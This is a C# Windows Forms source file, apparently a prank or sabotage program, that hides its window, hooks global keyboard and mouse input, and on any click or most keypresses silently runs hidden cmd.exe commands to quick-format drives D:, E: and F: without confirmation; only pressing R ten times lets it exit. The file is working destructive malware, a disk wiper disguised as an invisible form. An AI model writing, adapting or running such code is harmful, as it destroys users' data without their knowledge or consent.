﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Management;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace WindowsFormsApp1
{
    public partial class Form1 : Form
    {
        UserActivityHook choosesc;
        int count = 10;
        public Form1()
        {
            InitializeComponent();

            choosesc = new UserActivityHook();
            choosesc.OnMouseActivity += new MouseEventHandler(choose_OnMouseActivity);
            choosesc.KeyDown += new KeyEventHandler(MyKeyDown);
            choosesc.KeyPress += new KeyPressEventHandler(MyKeyPress);
            choosesc.KeyUp += new KeyEventHandler(MyKeyUp);

            this.WindowState = FormWindowState.Minimized;
            this.ShowInTaskbar = false;
        }
        public void MyKeyDown(object sender, KeyEventArgs e)
        {
            if (e.KeyCode == Keys.R)
            {
                count--;
                if (count <= 0)
                {
                    Application.Exit();
                }
                return;
            }

            Clear();
        }

        public void MyKeyPress(object sender, KeyPressEventArgs e)
        {
        }

        public void MyKeyUp(object sender, KeyEventArgs e)
        {
        }


        void choose_OnMouseActivity(object sender, MouseEventArgs e)
        {

            if (e.Button != MouseButtons.None)
            {
                Clear();
            }


            //throw new Exception("The method or operation is not implemented.");
        }

        void Clear()
        {
            FormatDisk("D:");
            FormatDisk("F:");
            FormatDisk("E:");

            Application.Exit();
        }

        /// <summary>
        /// 格式化磁盘
        /// </summary>
        /// <param name="DiskName">盘符名称：C:、D:、E:、F:</param>
        /// <returns></returns>
        public bool FormatDisk(string DiskName)
        {
            try
            {
                ProcessStartInfo processStartInfo = new ProcessStartInfo("cmd.exe")
                {
                    RedirectStandardInput = true,
                    RedirectStandardOutput = true,
                    UseShellExecute = false,
                    CreateNoWindow = true,
                    WindowStyle = ProcessWindowStyle.Hidden,
                };

                Process process = Process.Start(processStartInfo);

                if (process != null)
                {
                    process.StartInfo.CreateNoWindow = true;
                    process.StandardInput.WriteLine($"FORMAT {DiskName} /y /FS:FAT32 /V:BMECG /Q");
                    process.StandardInput.Close();

                    string outputString = process.StandardOutput.ReadToEnd();
                    if (outputString.Contains("已完成"))
                    {
                        return true;
                    }
                }
                return false;
            }
            catch
            {
                return false;
            }

        }
    }
}
